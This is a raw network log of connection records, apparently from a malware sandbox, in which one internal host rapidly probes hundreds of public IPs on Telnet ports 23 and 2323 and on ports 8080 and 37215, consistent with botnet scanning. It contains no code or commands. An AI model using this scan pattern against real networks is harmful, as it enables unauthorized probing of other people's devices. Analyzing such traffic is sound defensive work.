Oct 29, 2024 20:52:38.082906008 CET	56351	8080	192.168.2.13	85.202.189.108
Oct 29, 2024 20:52:38.082916021 CET	56351	8080	192.168.2.13	94.195.10.159
Oct 29, 2024 20:52:38.082926989 CET	56351	8080	192.168.2.13	62.50.140.71
Oct 29, 2024 20:52:38.082926989 CET	56351	8080	192.168.2.13	94.143.179.132
Oct 29, 2024 20:52:38.082948923 CET	56351	8080	192.168.2.13	62.188.190.69
Oct 29, 2024 20:52:38.082948923 CET	56351	8080	192.168.2.13	94.118.41.26
Oct 29, 2024 20:52:38.082952976 CET	56351	8080	192.168.2.13	94.101.182.236
Oct 29, 2024 20:52:38.082967997 CET	56351	8080	192.168.2.13	94.76.129.108
Oct 29, 2024 20:52:38.082967997 CET	56351	8080	192.168.2.13	95.136.225.138
Oct 29, 2024 20:52:38.082983017 CET	56351	8080	192.168.2.13	85.12.57.136
Oct 29, 2024 20:52:38.082983971 CET	56351	8080	192.168.2.13	62.16.38.248
Oct 29, 2024 20:52:38.082994938 CET	56351	8080	192.168.2.13	62.82.126.137
Oct 29, 2024 20:52:38.083000898 CET	56351	8080	192.168.2.13	94.57.84.32
Oct 29, 2024 20:52:38.083024025 CET	56351	8080	192.168.2.13	31.50.230.139
Oct 29, 2024 20:52:38.083029985 CET	56351	8080	192.168.2.13	94.15.109.41
Oct 29, 2024 20:52:38.083051920 CET	56351	8080	192.168.2.13	95.213.188.237
Oct 29, 2024 20:52:38.083058119 CET	8080	56351	95.198.199.204	192.168.2.13
Oct 29, 2024 20:52:38.083062887 CET	8080	56351	94.123.151.193	192.168.2.13
Oct 29, 2024 20:52:38.083069086 CET	8080	56351	62.155.179.18	192.168.2.13
Oct 29, 2024 20:52:38.083089113 CET	56351	8080	192.168.2.13	85.85.76.144
Oct 29, 2024 20:52:38.083089113 CET	56351	8080	192.168.2.13	95.198.199.204
Oct 29, 2024 20:52:38.083095074 CET	56351	8080	192.168.2.13	94.123.151.193
Oct 29, 2024 20:52:38.083097935 CET	56351	8080	192.168.2.13	94.106.110.121
Oct 29, 2024 20:52:38.083108902 CET	8080	56351	62.123.185.53	192.168.2.13
Oct 29, 2024 20:52:38.083111048 CET	56351	8080	192.168.2.13	62.155.179.18
Oct 29, 2024 20:52:38.083113909 CET	8080	56351	31.36.3.31	192.168.2.13
Oct 29, 2024 20:52:38.083122969 CET	56351	8080	192.168.2.13	94.86.218.147
Oct 29, 2024 20:52:38.083128929 CET	8080	56351	62.156.9.197	192.168.2.13
Oct 29, 2024 20:52:38.083134890 CET	8080	56351	62.239.72.147	192.168.2.13
Oct 29, 2024 20:52:38.083146095 CET	8080	56351	85.49.163.160	192.168.2.13
Oct 29, 2024 20:52:38.083158016 CET	56351	8080	192.168.2.13	31.36.3.31
Oct 29, 2024 20:52:38.083158970 CET	56351	8080	192.168.2.13	62.123.185.53
Oct 29, 2024 20:52:38.083170891 CET	56351	8080	192.168.2.13	62.156.9.197
Oct 29, 2024 20:52:38.083173037 CET	56351	8080	192.168.2.13	62.239.72.147
Oct 29, 2024 20:52:38.083184958 CET	56351	8080	192.168.2.13	85.49.163.160
Oct 29, 2024 20:52:38.083200932 CET	56351	8080	192.168.2.13	62.39.12.124
Oct 29, 2024 20:52:38.083205938 CET	56351	8080	192.168.2.13	94.46.182.18
Oct 29, 2024 20:52:38.083218098 CET	56351	8080	192.168.2.13	95.104.93.4
Oct 29, 2024 20:52:38.083242893 CET	56351	8080	192.168.2.13	95.9.44.166
Oct 29, 2024 20:52:38.083266020 CET	56351	8080	192.168.2.13	31.157.192.2
Oct 29, 2024 20:52:38.083273888 CET	56351	8080	192.168.2.13	95.144.250.136
Oct 29, 2024 20:52:38.083290100 CET	56351	8080	192.168.2.13	31.44.50.235
Oct 29, 2024 20:52:38.083297968 CET	56351	8080	192.168.2.13	62.54.18.8
Oct 29, 2024 20:52:38.083319902 CET	56351	8080	192.168.2.13	94.67.109.8
Oct 29, 2024 20:52:38.083345890 CET	56351	8080	192.168.2.13	94.174.242.44
Oct 29, 2024 20:52:38.083358049 CET	56351	8080	192.168.2.13	95.74.37.88
Oct 29, 2024 20:52:38.083374023 CET	56351	8080	192.168.2.13	94.119.254.234
Oct 29, 2024 20:52:38.083374023 CET	56351	8080	192.168.2.13	94.225.168.147
Oct 29, 2024 20:52:38.083388090 CET	56351	8080	192.168.2.13	94.167.214.209
Oct 29, 2024 20:52:38.083391905 CET	8080	56351	85.85.107.24	192.168.2.13
Oct 29, 2024 20:52:38.083396912 CET	8080	56351	62.120.63.0	192.168.2.13
Oct 29, 2024 20:52:38.083408117 CET	8080	56351	95.85.31.162	192.168.2.13
Oct 29, 2024 20:52:38.083411932 CET	8080	56351	62.152.105.31	192.168.2.13
Oct 29, 2024 20:52:38.083415031 CET	56351	8080	192.168.2.13	31.210.54.52
Oct 29, 2024 20:52:38.083422899 CET	8080	56351	95.25.228.85	192.168.2.13
Oct 29, 2024 20:52:38.083429098 CET	8080	56351	94.227.38.119	192.168.2.13
Oct 29, 2024 20:52:38.083430052 CET	56351	8080	192.168.2.13	85.85.107.24
Oct 29, 2024 20:52:38.083436012 CET	56351	8080	192.168.2.13	95.188.153.42
Oct 29, 2024 20:52:38.083439112 CET	8080	56351	94.43.254.50	192.168.2.13
Oct 29, 2024 20:52:38.083441973 CET	56351	8080	192.168.2.13	62.120.63.0
Oct 29, 2024 20:52:38.083441973 CET	56351	8080	192.168.2.13	62.152.105.31
Oct 29, 2024 20:52:38.083444118 CET	56351	8080	192.168.2.13	95.85.31.162
Oct 29, 2024 20:52:38.083450079 CET	8080	56351	31.53.198.150	192.168.2.13
Oct 29, 2024 20:52:38.083451986 CET	8080	56351	31.211.76.32	192.168.2.13
Oct 29, 2024 20:52:38.083455086 CET	56351	8080	192.168.2.13	95.25.228.85
Oct 29, 2024 20:52:38.083456993 CET	56351	8080	192.168.2.13	95.137.32.75
Oct 29, 2024 20:52:38.083457947 CET	8080	56351	85.158.253.137	192.168.2.13
Oct 29, 2024 20:52:38.083458900 CET	8080	56351	31.141.253.110	192.168.2.13
Oct 29, 2024 20:52:38.083460093 CET	56351	8080	192.168.2.13	31.107.96.43
Oct 29, 2024 20:52:38.083462000 CET	8080	56351	94.117.46.146	192.168.2.13
Oct 29, 2024 20:52:38.083465099 CET	56351	8080	192.168.2.13	95.102.232.47
Oct 29, 2024 20:52:38.083463907 CET	56351	8080	192.168.2.13	94.227.38.119
Oct 29, 2024 20:52:38.083475113 CET	8080	56351	62.39.252.106	192.168.2.13
Oct 29, 2024 20:52:38.083481073 CET	8080	56351	85.99.148.213	192.168.2.13
Oct 29, 2024 20:52:38.083483934 CET	56351	8080	192.168.2.13	31.53.198.150
Oct 29, 2024 20:52:38.083486080 CET	8080	56351	62.74.187.12	192.168.2.13
Oct 29, 2024 20:52:38.083486080 CET	56351	8080	192.168.2.13	94.43.254.50
Oct 29, 2024 20:52:38.083486080 CET	56351	8080	192.168.2.13	31.211.76.32
Oct 29, 2024 20:52:38.083491087 CET	56351	8080	192.168.2.13	94.117.46.146
Oct 29, 2024 20:52:38.083491087 CET	8080	56351	31.211.233.132	192.168.2.13
Oct 29, 2024 20:52:38.083498001 CET	56351	8080	192.168.2.13	85.158.253.137
Oct 29, 2024 20:52:38.083498955 CET	8080	56351	95.185.159.240	192.168.2.13
Oct 29, 2024 20:52:38.083504915 CET	8080	56351	85.84.143.55	192.168.2.13
Oct 29, 2024 20:52:38.083508968 CET	56351	8080	192.168.2.13	31.141.253.110
Oct 29, 2024 20:52:38.083512068 CET	56351	8080	192.168.2.13	62.39.252.106
Oct 29, 2024 20:52:38.083514929 CET	8080	56351	85.249.30.221	192.168.2.13
Oct 29, 2024 20:52:38.083519936 CET	8080	56351	31.32.17.40	192.168.2.13
Oct 29, 2024 20:52:38.083522081 CET	56351	8080	192.168.2.13	62.74.187.12
Oct 29, 2024 20:52:38.083522081 CET	56351	8080	192.168.2.13	31.211.233.132
Oct 29, 2024 20:52:38.083532095 CET	8080	56351	85.57.70.221	192.168.2.13
Oct 29, 2024 20:52:38.083535910 CET	8080	56351	62.182.176.155	192.168.2.13
Oct 29, 2024 20:52:38.083544970 CET	56351	8080	192.168.2.13	95.185.159.240
Oct 29, 2024 20:52:38.083548069 CET	56351	8080	192.168.2.13	85.249.30.221
Oct 29, 2024 20:52:38.083547115 CET	56351	8080	192.168.2.13	85.84.143.55
Oct 29, 2024 20:52:38.083547115 CET	56351	8080	192.168.2.13	31.32.17.40
Oct 29, 2024 20:52:38.083558083 CET	8080	56351	31.216.119.73	192.168.2.13
Oct 29, 2024 20:52:38.083564043 CET	8080	56351	94.134.25.185	192.168.2.13
Oct 29, 2024 20:52:38.083569050 CET	8080	56351	62.156.81.80	192.168.2.13
Oct 29, 2024 20:52:38.083571911 CET	56351	8080	192.168.2.13	85.99.148.213
Oct 29, 2024 20:52:38.083575010 CET	56351	8080	192.168.2.13	85.57.70.221
Oct 29, 2024 20:52:38.083575010 CET	8080	56351	94.45.196.22	192.168.2.13
Oct 29, 2024 20:52:38.083585024 CET	8080	56351	95.63.169.199	192.168.2.13
Oct 29, 2024 20:52:38.083585978 CET	56351	8080	192.168.2.13	62.182.176.155
Oct 29, 2024 20:52:38.083590031 CET	56351	8080	192.168.2.13	94.134.25.185
Oct 29, 2024 20:52:38.083590984 CET	56351	8080	192.168.2.13	31.216.119.73
Oct 29, 2024 20:52:38.083599091 CET	56351	8080	192.168.2.13	62.156.81.80
Oct 29, 2024 20:52:38.083615065 CET	56351	8080	192.168.2.13	94.45.196.22
Oct 29, 2024 20:52:38.083623886 CET	56351	8080	192.168.2.13	94.255.44.228
Oct 29, 2024 20:52:38.083625078 CET	56351	8080	192.168.2.13	95.63.169.199
Oct 29, 2024 20:52:38.083640099 CET	56351	8080	192.168.2.13	31.122.23.31
Oct 29, 2024 20:52:38.083653927 CET	56351	8080	192.168.2.13	31.141.192.157
Oct 29, 2024 20:52:38.083657026 CET	56351	8080	192.168.2.13	31.183.189.119
Oct 29, 2024 20:52:38.083664894 CET	56351	8080	192.168.2.13	62.90.198.189
Oct 29, 2024 20:52:38.083671093 CET	56351	8080	192.168.2.13	85.20.219.236
Oct 29, 2024 20:52:38.083690882 CET	8080	56351	94.64.122.116	192.168.2.13
Oct 29, 2024 20:52:38.083697081 CET	8080	56351	95.116.213.230	192.168.2.13
Oct 29, 2024 20:52:38.083707094 CET	8080	56351	85.190.47.30	192.168.2.13
Oct 29, 2024 20:52:38.083710909 CET	8080	56351	85.255.28.120	192.168.2.13
Oct 29, 2024 20:52:38.083719969 CET	8080	56351	62.164.173.11	192.168.2.13
Oct 29, 2024 20:52:38.083724976 CET	8080	56351	94.20.102.181	192.168.2.13
Oct 29, 2024 20:52:38.083734035 CET	8080	56351	85.118.63.30	192.168.2.13
Oct 29, 2024 20:52:38.083734989 CET	56351	8080	192.168.2.13	94.64.122.116
Oct 29, 2024 20:52:38.083739042 CET	8080	56351	62.41.246.110	192.168.2.13
Oct 29, 2024 20:52:38.083740950 CET	56351	8080	192.168.2.13	95.116.213.230
Oct 29, 2024 20:52:38.083744049 CET	8080	56351	94.78.87.53	192.168.2.13
Oct 29, 2024 20:52:38.083745003 CET	56351	8080	192.168.2.13	85.190.47.30
Oct 29, 2024 20:52:38.083750010 CET	8080	56351	94.121.127.131	192.168.2.13
Oct 29, 2024 20:52:38.083755016 CET	56351	8080	192.168.2.13	85.255.28.120
Oct 29, 2024 20:52:38.083755970 CET	8080	56351	85.84.46.244	192.168.2.13
Oct 29, 2024 20:52:38.083760977 CET	56351	8080	192.168.2.13	94.20.102.181
Oct 29, 2024 20:52:38.083771944 CET	8080	56351	85.70.52.193	192.168.2.13
Oct 29, 2024 20:52:38.083774090 CET	56351	8080	192.168.2.13	62.164.173.11
Oct 29, 2024 20:52:38.083775043 CET	56351	8080	192.168.2.13	62.41.246.110
Oct 29, 2024 20:52:38.083775043 CET	56351	8080	192.168.2.13	85.118.63.30
Oct 29, 2024 20:52:38.083776951 CET	8080	56351	95.190.34.21	192.168.2.13
Oct 29, 2024 20:52:38.083780050 CET	56351	8080	192.168.2.13	94.78.87.53
Oct 29, 2024 20:52:38.083784103 CET	8080	56351	95.155.223.214	192.168.2.13
Oct 29, 2024 20:52:38.083787918 CET	56351	8080	192.168.2.13	94.121.127.131
Oct 29, 2024 20:52:38.083800077 CET	56351	8080	192.168.2.13	85.84.46.244
Oct 29, 2024 20:52:38.083806038 CET	56351	8080	192.168.2.13	95.190.34.21
Oct 29, 2024 20:52:38.083806992 CET	56351	8080	192.168.2.13	85.70.52.193
Oct 29, 2024 20:52:38.083820105 CET	56351	8080	192.168.2.13	95.155.223.214
Oct 29, 2024 20:52:38.083843946 CET	8080	56351	95.170.133.138	192.168.2.13
Oct 29, 2024 20:52:38.083882093 CET	56351	8080	192.168.2.13	95.170.133.138
Oct 29, 2024 20:52:38.083893061 CET	47792	37215	192.168.2.13	197.130.35.34
Oct 29, 2024 20:52:38.084137917 CET	56326	2323	192.168.2.13	143.29.73.107
Oct 29, 2024 20:52:38.084238052 CET	56351	8080	192.168.2.13	62.168.25.37
Oct 29, 2024 20:52:38.084239960 CET	56326	23	192.168.2.13	98.209.167.110
Oct 29, 2024 20:52:38.084250927 CET	56351	8080	192.168.2.13	62.53.173.15
Oct 29, 2024 20:52:38.084253073 CET	56351	8080	192.168.2.13	85.141.59.103
Oct 29, 2024 20:52:38.084259033 CET	56326	23	192.168.2.13	197.30.147.240
Oct 29, 2024 20:52:38.084259033 CET	56351	8080	192.168.2.13	94.167.59.234
Oct 29, 2024 20:52:38.084259987 CET	56351	8080	192.168.2.13	95.158.230.126
Oct 29, 2024 20:52:38.084276915 CET	56351	8080	192.168.2.13	85.54.247.31
Oct 29, 2024 20:52:38.084285975 CET	56326	23	192.168.2.13	101.236.76.126
Oct 29, 2024 20:52:38.084285975 CET	56326	23	192.168.2.13	81.90.87.203
Oct 29, 2024 20:52:38.084285975 CET	56326	23	192.168.2.13	222.43.11.107
Oct 29, 2024 20:52:38.084285975 CET	56326	23	192.168.2.13	149.84.209.201
Oct 29, 2024 20:52:38.084302902 CET	56351	8080	192.168.2.13	95.145.220.198
Oct 29, 2024 20:52:38.084305048 CET	56351	8080	192.168.2.13	95.87.83.234
Oct 29, 2024 20:52:38.084317923 CET	56326	23	192.168.2.13	145.182.181.197
Oct 29, 2024 20:52:38.084317923 CET	56326	23	192.168.2.13	25.141.162.107
Oct 29, 2024 20:52:38.084348917 CET	56326	23	192.168.2.13	1.230.154.48
Oct 29, 2024 20:52:38.084352016 CET	56351	8080	192.168.2.13	95.102.197.155
Oct 29, 2024 20:52:38.084356070 CET	56326	2323	192.168.2.13	196.77.141.131
Oct 29, 2024 20:52:38.084356070 CET	56326	23	192.168.2.13	86.198.35.137
Oct 29, 2024 20:52:38.084357977 CET	56326	23	192.168.2.13	34.4.72.84
Oct 29, 2024 20:52:38.084369898 CET	56351	8080	192.168.2.13	94.93.240.211
Oct 29, 2024 20:52:38.084369898 CET	56326	23	192.168.2.13	24.90.193.217
Oct 29, 2024 20:52:38.084371090 CET	56351	8080	192.168.2.13	31.228.110.250
Oct 29, 2024 20:52:38.084381104 CET	56351	8080	192.168.2.13	94.192.235.50
Oct 29, 2024 20:52:38.084381104 CET	56326	23	192.168.2.13	168.28.190.100
Oct 29, 2024 20:52:38.084381104 CET	56326	23	192.168.2.13	156.205.235.192
Oct 29, 2024 20:52:38.084383965 CET	56326	23	192.168.2.13	203.39.240.63
Oct 29, 2024 20:52:38.084407091 CET	56326	23	192.168.2.13	183.16.186.248
Oct 29, 2024 20:52:38.084423065 CET	56351	8080	192.168.2.13	62.140.97.238
Oct 29, 2024 20:52:38.084428072 CET	56326	2323	192.168.2.13	61.25.223.12
Oct 29, 2024 20:52:38.084429026 CET	56326	23	192.168.2.13	131.250.99.111
Oct 29, 2024 20:52:38.084429979 CET	56326	23	192.168.2.13	148.106.48.6
Oct 29, 2024 20:52:38.084430933 CET	56326	23	192.168.2.13	97.60.173.109
Oct 29, 2024 20:52:38.084436893 CET	56326	23	192.168.2.13	213.16.4.175
Oct 29, 2024 20:52:38.084438086 CET	56326	23	192.168.2.13	23.157.232.76
Oct 29, 2024 20:52:38.084489107 CET	56351	8080	192.168.2.13	85.33.223.191
Oct 29, 2024 20:52:38.084495068 CET	56351	8080	192.168.2.13	62.140.197.86
Oct 29, 2024 20:52:38.084501028 CET	56351	8080	192.168.2.13	31.109.240.43
Oct 29, 2024 20:52:38.084512949 CET	56351	8080	192.168.2.13	31.218.218.32
Oct 29, 2024 20:52:38.084512949 CET	56351	8080	192.168.2.13	31.81.55.225
Oct 29, 2024 20:52:38.084533930 CET	56326	23	192.168.2.13	169.58.140.27
Oct 29, 2024 20:52:38.084534883 CET	56351	8080	192.168.2.13	85.68.57.21
Oct 29, 2024 20:52:38.084539890 CET	56326	23	192.168.2.13	74.248.200.152
Oct 29, 2024 20:52:38.084544897 CET	56326	23	192.168.2.13	133.26.73.232
Oct 29, 2024 20:52:38.084551096 CET	56351	8080	192.168.2.13	62.88.159.155
Oct 29, 2024 20:52:38.084554911 CET	56351	8080	192.168.2.13	31.113.227.135
Oct 29, 2024 20:52:38.084562063 CET	56326	23	192.168.2.13	202.83.176.9
Oct 29, 2024 20:52:38.084570885 CET	56351	8080	192.168.2.13	31.194.101.176
Oct 29, 2024 20:52:38.084585905 CET	56326	23	192.168.2.13	82.152.123.173
Oct 29, 2024 20:52:38.084602118 CET	56326	2323	192.168.2.13	199.83.109.66
Oct 29, 2024 20:52:38.084604979 CET	56351	8080	192.168.2.13	31.96.4.166
Oct 29, 2024 20:52:38.084604979 CET	56351	8080	192.168.2.13	62.128.75.110
Oct 29, 2024 20:52:38.084614992 CET	56326	23	192.168.2.13	202.56.74.187
Oct 29, 2024 20:52:38.084616899 CET	56326	23	192.168.2.13	108.205.187.244
Oct 29, 2024 20:52:38.084624052 CET	56326	23	192.168.2.13	176.141.15.143
Oct 29, 2024 20:52:38.084624052 CET	56351	8080	192.168.2.13	94.181.153.236
Oct 29, 2024 20:52:38.084625959 CET	56326	23	192.168.2.13	8.28.224.174
Oct 29, 2024 20:52:38.084640026 CET	56326	23	192.168.2.13	153.153.173.90
Oct 29, 2024 20:52:38.084652901 CET	56326	23	192.168.2.13	185.236.119.135
Oct 29, 2024 20:52:38.084664106 CET	56326	23	192.168.2.13	68.10.74.255
Oct 29, 2024 20:52:38.084664106 CET	56351	8080	192.168.2.13	95.119.43.234
Oct 29, 2024 20:52:38.084664106 CET	56351	8080	192.168.2.13	95.232.46.84
Oct 29, 2024 20:52:38.084691048 CET	56351	8080	192.168.2.13	85.191.239.139
Oct 29, 2024 20:52:38.084691048 CET	56351	8080	192.168.2.13	94.213.74.14
Oct 29, 2024 20:52:38.084697962 CET	56326	23	192.168.2.13	99.95.86.124
Oct 29, 2024 20:52:38.084713936 CET	56326	2323	192.168.2.13	82.243.218.29
Oct 29, 2024 20:52:38.084717035 CET	56326	23	192.168.2.13	221.155.168.94
Oct 29, 2024 20:52:38.084717035 CET	56326	23	192.168.2.13	219.134.123.36
Oct 29, 2024 20:52:38.084721088 CET	56326	23	192.168.2.13	86.144.216.234
Oct 29, 2024 20:52:38.084721088 CET	56326	23	192.168.2.13	166.252.145.135
Oct 29, 2024 20:52:38.084738970 CET	56326	23	192.168.2.13	182.184.38.79
Oct 29, 2024 20:52:38.084738970 CET	56326	23	192.168.2.13	152.82.243.35
Oct 29, 2024 20:52:38.084738970 CET	56326	23	192.168.2.13	140.220.145.116
Oct 29, 2024 20:52:38.084757090 CET	56326	23	192.168.2.13	129.111.0.28
Oct 29, 2024 20:52:38.084758043 CET	56326	23	192.168.2.13	12.250.95.36
Oct 29, 2024 20:52:38.084758997 CET	56351	8080	192.168.2.13	62.84.23.139
Oct 29, 2024 20:52:38.084758997 CET	56326	23	192.168.2.13	179.19.17.152
Oct 29, 2024 20:52:38.084764004 CET	56326	23	192.168.2.13	166.205.85.227
Oct 29, 2024 20:52:38.084774017 CET	56326	23	192.168.2.13	157.203.120.165
Oct 29, 2024 20:52:38.084778070 CET	56326	2323	192.168.2.13	141.156.177.247
Oct 29, 2024 20:52:38.084778070 CET	56326	23	192.168.2.13	175.209.246.240
Oct 29, 2024 20:52:38.084778070 CET	56326	23	192.168.2.13	85.107.253.206
Oct 29, 2024 20:52:38.084793091 CET	56326	23	192.168.2.13	133.66.82.142
Oct 29, 2024 20:52:38.084794998 CET	56326	23	192.168.2.13	41.157.51.208
Oct 29, 2024 20:52:38.084794998 CET	56351	8080	192.168.2.13	62.170.59.11
Oct 29, 2024 20:52:38.084795952 CET	56351	8080	192.168.2.13	94.246.15.240
Oct 29, 2024 20:52:38.084801912 CET	56326	23	192.168.2.13	176.77.56.37
Oct 29, 2024 20:52:38.084801912 CET	56326	23	192.168.2.13	221.177.111.140
Oct 29, 2024 20:52:38.084805012 CET	56326	23	192.168.2.13	101.183.194.20
Oct 29, 2024 20:52:38.084820032 CET	56351	8080	192.168.2.13	95.234.5.221
Oct 29, 2024 20:52:38.084825993 CET	56351	8080	192.168.2.13	85.229.29.97
Oct 29, 2024 20:52:38.084836960 CET	56351	8080	192.168.2.13	95.75.62.87
Oct 29, 2024 20:52:38.084846020 CET	56351	8080	192.168.2.13	95.85.1.71
Oct 29, 2024 20:52:38.084855080 CET	56326	23	192.168.2.13	49.144.23.232
Oct 29, 2024 20:52:38.084886074 CET	56326	23	192.168.2.13	93.80.95.239
Oct 29, 2024 20:52:38.084887981 CET	56326	2323	192.168.2.13	109.2.230.155
Oct 29, 2024 20:52:38.084887981 CET	56326	23	192.168.2.13	63.20.204.124
Oct 29, 2024 20:52:38.084891081 CET	56351	8080	192.168.2.13	94.243.163.25
Oct 29, 2024 20:52:38.084892035 CET	56326	23	192.168.2.13	84.38.212.126
Oct 29, 2024 20:52:38.084897995 CET	56326	23	192.168.2.13	71.120.14.42
Oct 29, 2024 20:52:38.084909916 CET	56351	8080	192.168.2.13	95.123.51.189
Oct 29, 2024 20:52:38.084909916 CET	56351	8080	192.168.2.13	95.112.37.125
Oct 29, 2024 20:52:38.084909916 CET	56351	8080	192.168.2.13	31.181.20.37
Oct 29, 2024 20:52:38.084933043 CET	56351	8080	192.168.2.13	31.211.150.220
Oct 29, 2024 20:52:38.084933043 CET	56351	8080	192.168.2.13	94.193.26.15
Oct 29, 2024 20:52:38.084933043 CET	56351	8080	192.168.2.13	94.119.16.9
Oct 29, 2024 20:52:38.084954023 CET	56351	8080	192.168.2.13	31.15.46.8
Oct 29, 2024 20:52:38.084955931 CET	56351	8080	192.168.2.13	95.187.215.196
Oct 29, 2024 20:52:38.084955931 CET	56326	23	192.168.2.13	106.52.199.118
Oct 29, 2024 20:52:38.084969044 CET	56326	23	192.168.2.13	137.157.126.216
Oct 29, 2024 20:52:38.084971905 CET	56326	23	192.168.2.13	181.188.50.116
Oct 29, 2024 20:52:38.084975958 CET	56326	23	192.168.2.13	205.116.214.245
Oct 29, 2024 20:52:38.084978104 CET	56351	8080	192.168.2.13	31.204.9.200
Oct 29, 2024 20:52:38.084979057 CET	56351	8080	192.168.2.13	62.129.9.224
Oct 29, 2024 20:52:38.084978104 CET	56351	8080	192.168.2.13	31.1.160.187
Oct 29, 2024 20:52:38.084980011 CET	56326	2323	192.168.2.13	183.129.28.58
Oct 29, 2024 20:52:38.084978104 CET	56351	8080	192.168.2.13	85.152.197.5
Oct 29, 2024 20:52:38.084980011 CET	56326	23	192.168.2.13	54.213.39.179
Oct 29, 2024 20:52:38.084979057 CET	56326	23	192.168.2.13	9.21.209.226
Oct 29, 2024 20:52:38.084984064 CET	56326	23	192.168.2.13	195.49.53.247
Oct 29, 2024 20:52:38.084979057 CET	56351	8080	192.168.2.13	95.57.59.18
Oct 29, 2024 20:52:38.084978104 CET	56351	8080	192.168.2.13	94.168.195.3
Oct 29, 2024 20:52:38.084978104 CET	56351	8080	192.168.2.13	31.104.250.157
Oct 29, 2024 20:52:38.084979057 CET	56351	8080	192.168.2.13	85.193.60.34
Oct 29, 2024 20:52:38.085005045 CET	56351	8080	192.168.2.13	85.91.58.26
Oct 29, 2024 20:52:38.085006952 CET	56326	23	192.168.2.13	74.59.194.156
Oct 29, 2024 20:52:38.085009098 CET	56326	23	192.168.2.13	34.227.54.224
Oct 29, 2024 20:52:38.085010052 CET	56351	8080	192.168.2.13	85.88.29.247
Oct 29, 2024 20:52:38.085022926 CET	56326	23	192.168.2.13	190.233.180.139
Oct 29, 2024 20:52:38.085022926 CET	56351	8080	192.168.2.13	62.240.232.234
Oct 29, 2024 20:52:38.085028887 CET	56326	23	192.168.2.13	204.166.197.35
Oct 29, 2024 20:52:38.085043907 CET	56351	8080	192.168.2.13	85.175.198.131
Oct 29, 2024 20:52:38.085043907 CET	56326	23	192.168.2.13	45.246.233.5
Oct 29, 2024 20:52:38.085043907 CET	56351	8080	192.168.2.13	31.223.251.123
Oct 29, 2024 20:52:38.085047960 CET	56351	8080	192.168.2.13	94.226.127.155
Oct 29, 2024 20:52:38.085048914 CET	56326	23	192.168.2.13	121.237.146.148
Oct 29, 2024 20:52:38.085050106 CET	56351	8080	192.168.2.13	85.103.37.230
Oct 29, 2024 20:52:38.085057020 CET	56351	8080	192.168.2.13	62.22.231.200
Oct 29, 2024 20:52:38.085061073 CET	56326	23	192.168.2.13	49.232.232.23
Oct 29, 2024 20:52:38.085063934 CET	56351	8080	192.168.2.13	31.89.57.226
Oct 29, 2024 20:52:38.085073948 CET	56326	2323	192.168.2.13	216.227.102.44
Oct 29, 2024 20:52:38.085079908 CET	56326	23	192.168.2.13	125.22.88.249
Oct 29, 2024 20:52:38.085082054 CET	56326	23	192.168.2.13	207.31.9.103
Oct 29, 2024 20:52:38.085100889 CET	56326	23	192.168.2.13	66.71.215.74
Oct 29, 2024 20:52:38.085124969 CET	56351	8080	192.168.2.13	31.130.185.15
Oct 29, 2024 20:52:38.085130930 CET	56351	8080	192.168.2.13	62.36.25.153
Oct 29, 2024 20:52:38.085143089 CET	56326	23	192.168.2.13	57.41.167.223
Oct 29, 2024 20:52:38.085151911 CET	56351	8080	192.168.2.13	62.50.195.57
Oct 29, 2024 20:52:38.085154057 CET	56326	23	192.168.2.13	20.255.113.193
Oct 29, 2024 20:52:38.085154057 CET	56326	23	192.168.2.13	94.87.152.60
Oct 29, 2024 20:52:38.085155010 CET	56351	8080	192.168.2.13	31.81.240.98
Oct 29, 2024 20:52:38.085175037 CET	56326	23	192.168.2.13	98.105.109.220
Oct 29, 2024 20:52:38.085175991 CET	56351	8080	192.168.2.13	94.25.174.238
Oct 29, 2024 20:52:38.085179090 CET	56351	8080	192.168.2.13	31.0.132.225
Oct 29, 2024 20:52:38.085184097 CET	56326	23	192.168.2.13	113.141.227.190
Oct 29, 2024 20:52:38.085191965 CET	56326	23	192.168.2.13	105.216.227.45
Oct 29, 2024 20:52:38.085194111 CET	56326	2323	192.168.2.13	122.214.182.158
Oct 29, 2024 20:52:38.085194111 CET	56326	23	192.168.2.13	19.29.15.81
Oct 29, 2024 20:52:38.085199118 CET	56326	23	192.168.2.13	39.18.171.188
Oct 29, 2024 20:52:38.085199118 CET	56351	8080	192.168.2.13	31.180.75.110
Oct 29, 2024 20:52:38.085203886 CET	56326	23	192.168.2.13	205.89.207.182
Oct 29, 2024 20:52:38.085217953 CET	56326	23	192.168.2.13	196.234.23.134
Oct 29, 2024 20:52:38.085244894 CET	56326	23	192.168.2.13	108.120.103.196
Oct 29, 2024 20:52:38.085246086 CET	56326	23	192.168.2.13	171.21.146.127
Oct 29, 2024 20:52:38.085247040 CET	56351	8080	192.168.2.13	85.203.121.70
Oct 29, 2024 20:52:38.085258007 CET	56326	23	192.168.2.13	52.125.192.44
Oct 29, 2024 20:52:38.085263014 CET	56351	8080	192.168.2.13	31.110.91.245
Oct 29, 2024 20:52:38.085275888 CET	56326	23	192.168.2.13	199.90.216.146
Oct 29, 2024 20:52:38.085283041 CET	56351	8080	192.168.2.13	85.7.55.11
Oct 29, 2024 20:52:38.085284948 CET	56326	23	192.168.2.13	107.129.235.112
Oct 29, 2024 20:52:38.085290909 CET	56326	23	192.168.2.13	104.79.14.84
Oct 29, 2024 20:52:38.085290909 CET	56326	2323	192.168.2.13	134.98.151.40
Oct 29, 2024 20:52:38.085294962 CET	56326	23	192.168.2.13	157.75.159.52
Oct 29, 2024 20:52:38.085305929 CET	56326	23	192.168.2.13	124.238.184.204
Oct 29, 2024 20:52:38.085318089 CET	56326	23	192.168.2.13	208.33.148.217
Oct 29, 2024 20:52:38.085326910 CET	56326	23	192.168.2.13	159.234.67.100
Oct 29, 2024 20:52:38.085347891 CET	56351	8080	192.168.2.13	95.110.107.231
Oct 29, 2024 20:52:38.085347891 CET	56351	8080	192.168.2.13	94.102.213.32
Oct 29, 2024 20:52:38.085367918 CET	56351	8080	192.168.2.13	62.87.186.199
Oct 29, 2024 20:52:38.085397005 CET	56326	23	192.168.2.13	27.161.24.183
Oct 29, 2024 20:52:38.085397005 CET	56326	23	192.168.2.13	158.21.73.139
Oct 29, 2024 20:52:38.085406065 CET	56326	23	192.168.2.13	173.251.255.215
Oct 29, 2024 20:52:38.085424900 CET	56326	2323	192.168.2.13	144.123.186.28
Oct 29, 2024 20:52:38.085428953 CET	56326	23	192.168.2.13	136.11.87.125
Oct 29, 2024 20:52:38.085458040 CET	56326	23	192.168.2.13	93.15.24.146
Oct 29, 2024 20:52:38.085458040 CET	56326	23	192.168.2.13	78.89.210.239
Oct 29, 2024 20:52:38.085462093 CET	56326	23	192.168.2.13	222.177.77.37
Oct 29, 2024 20:52:38.085475922 CET	56326	23	192.168.2.13	72.202.209.166
